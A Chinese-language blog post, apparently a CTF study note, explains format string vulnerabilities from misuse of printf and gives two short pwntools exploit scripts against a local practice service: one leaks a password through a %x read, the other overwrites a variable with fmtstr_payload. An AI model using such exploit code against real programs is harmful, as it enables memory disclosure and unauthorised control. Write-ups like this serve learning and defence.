zoukankan      html  css  js  c++  java
  • pwn-格式化字符串漏洞

    原理:因为没有正确使用printf()函数

    正确使用 : printf('%s',str)

    不正规使用:printf(str)

    控制字符串str可以爆出stack内内容从而实现任意地址读或者任意地址写

    ---------------------------入门题01--------------------------------------

    18行存在格式化字符串漏洞

    只需输入在hello之后输入password所在地址,接收password值再传入进行比较即可

    exp:

    from pwn import *
    
    r = remote("127.0.0.1",4000)
    
    from pwn import *

    r = remote("127.0.0.1",4000)

    pass_addr = 0x804A048
    r.recvuntil('?')
    r.sendline(p32(pass_addr)+'#' +'%10$x'+'#' )
    r.recvuntil('#')

    key =  str(u32(r.recvuntil('#')[:4]))

    r.recvuntil(':')
    r.sendline(key)

    r.interactive()

    ---------------------------入门题02--------------------------------------

    使用pwntools提供的fmtstr_payload(offset, {addr: value })函数实现地址写入

    首先输入一个字符串与n个%x找到字符串被爆出的位置

    再使用fmtstr_payload写入x变量即可

    exp:

    from pwn import *
    
    r=remote('127.0.0.1',4000)
    x_addr = 0x804A02C
    r.sendline(fmtstr_payload(7, {x_addr:0x14368792 }))
    r.interactive()

  • 相关阅读:
    由数字三角形问题理解动态规划
    堆排序
    清理oracle数据库空间
    十个常用破解网络密码的方法
    说说windows下64位程序和32位程序
    sql server使用第二记
    手机通讯录PK
    sql server 初级实践记
    You and your research ( Richard Hamming) P5
    TED
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9638031.html
Copyright © 2011-2022 走看看